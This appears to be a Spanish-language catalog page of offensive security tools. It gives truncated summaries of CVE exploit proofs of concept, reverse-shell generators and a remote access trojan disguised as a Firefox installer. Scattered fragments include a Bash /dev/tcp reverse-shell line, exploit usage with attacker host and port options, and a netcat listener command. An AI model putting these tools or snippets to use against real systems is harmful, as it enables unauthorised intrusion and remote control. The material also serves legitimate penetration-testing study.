CVE-2024-24386

VitalPBX - CVE-2024-24386 Título de la vulnerabilidad: Inyección de comandos Autor: Erick Duarte Versión: 3.2.5-2 La vulnerabilidad ocurre al usar el módulo Task Manager junto con Cron Profile. Para explotar esta vulnerabilidad, necesitamos colocar un script en una carpeta específica dentro del S...

CVE-2019-0232

CVE-2019-0232 Descripción Esta es una herramienta que automatiza el flujo de trabajo de explotación para CVE‑2019‑0232 proporcionando tanto el modo de ejecución de comandos como el modo de shell inversa. Soporta codificación automática de URLs para comandos, inicia un servidor HTTP temporal para...

hershell

Hershell Shell reverso TCP simple escrito en Go. Utiliza TLS para asegurar las comunicaciones y proporciona una función de fijación de huella digital de clave pública del certificado, evitando la interceptación del tráfico. Los sistemas operativos compatibles son: Windows Linux Mac OS FreeBSD y...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Script en Python para explotar PlaySMS anterior a 1.4.3 Ejecución Abre un puerto en tu máquina: Y luego ejecuta exploit.py: root@kitploit: ./exploit.py Modificando el exploit Puede que quieras cambiar la reverse shell creada por exploit.py Para hacerlo, puedes cambiar la...

cve-2022-31898

cve-2022-31898 Código POC de explotación para CVE-2022-31898, una inyección de comandos para routers GL-iNet con firmware inferior a 3.215 Uso root@kitploit: ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message...

One-Lin3r

One-Lin3r One-Lin3r es un framework simple, modular y ligero que te proporciona todos los one-liners que necesitarás durante pruebas de penetración sistemas Windows, Linux, macOS o incluso BSD o hacking en general, con muchas funciones nuevas para automatizar todo esto por completo por ejemplo, n...

GoSH

GoSH Generador de shell reversa/enlace en Golang Descripción Esta herramienta genera un binario Go que lanza un shell del tipo deseado en el host objetivo. El binario del shell puede ser compilado para múltiples plataformas, soporta polimorfismo parcial nombres de funciones únicos y puede usar el...

DarkFox

DarkFox Troyano de acceso remoto creado usando WinRar con un instalador ej. firefox y un Reverse Shell de Python incrustado. Edita el archivo client.py configurando la IP y el puerto del servidor atacante en escucha, y la IP y el puerto de cualquier proxy presente en la máquina atacante. Si no ha...

webmin_1.920

CVE-2019-15107 Webmin 1.920 Ejecución Remota de Comandos Sin Autenticación Un script de python3 para la ejecución remota de comandos sin autenticación en Webmin 1.920 CVE-2019-15107 que crea una shell reversa o una shell pseudo interactiva usando mkfifo para evadir el firewall. Un script de pytho...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE root@kitploit: Creado por TheAlchimist cve-2023-27163-maltrail.py para reverse shell...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 Exploit Para explotar la vulnerabilidad, es necesario levantar un contenedor docker con un ambiente preparado para levantar Tensorflow con una versión 2.2.3 la cual todavía tiene la vulnerabilidad. Consta de: Una arquitectura AMD de 64 bits, CPU o GPU que puede ejecutar instruccion...

s3reverse

s3reverse Instalación go get root@kitploit: $ go get -u github.com/hahwul/s3reverse snap root@kitploit: snap install s3reverse brew...

CVE-2025-3248

CVE-2025-3248 Ejecución remota de código utilizando un endpoint API vulnerable. Prueba de concepto. Información: ⚠️ ¡Úsalo bajo tu propio riesgo! ❓ Opción añadida para shell inversa. ✅ Reintento automático si validatecode está desactivado. Demostración Uso root@kitploit: python CVE-2025-3248.py /...

CVE-2024-24590

ClearML Exploit This repository contains a proof-of-concept exploit for a deserialization vulnerability in ClearML, allowing for remote command execution. This exploit demonstrates how to upload a malicious pickle artifact to ClearML to gain a reverse shell. Prerequisites Before you begin, ensure...

POC_react2shell_CVE-2025-55182

Exploit RCE en Componentes de Servidor React de Next.js Explota CVE-2025-55182 para ejecución remota de código mediante contaminación de prototipos. Autor: Severian N.K. Descripción Esta herramienta explota una vulnerabilidad de contaminación de prototipos en aplicaciones Next.js que utilizan...

YAPS

YAPS - O tro S hell P HP m ás Sí, como el nombre lo revela, este es otro shell reverso PHP, uno más entre cientos disponibles, pero con algunas ventajas. Es un solo archivo PHP que contiene todas sus funciones y puedes controlarlo a través de un simple listener TCP por ejemplo, nc -lp 1337. En la...

PwnLnX

PwnLnX Una avanzada multi-hilo , multi-cliente reverse shell en Python para hackear sistemas Linux. Todavía hay más trabajo por hacer, así que siéntete libre de ayudar con el desarrollo. Descargo de responsabilidad : Esta reverse shell solo debe utilizarse en la administración legal y autorizada ...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

hoaxshell

hoaxshell ⚡ La última versión de este proyecto es el listener independiente de HoaxShell, que incluye plantillas de payload actualizadas. También puedes usarlo directamente desde https://revshells.com asegúrate de seleccionar hoaxshell como listener. ⚠️ A partir del 18-10-2022, hoaxshell es...

CVE-2016-10033

PoC de explotación de CVE2016-10033 Este repositorio contiene los archivos necesarios para explotar CVE2016-10033 en una versión vulnerable de WordPress. Con estas instrucciones podrás obtener un shell interactivo inverso no Pseudo-TTY en el contenedor que ejecuta WordPress como el usuario que...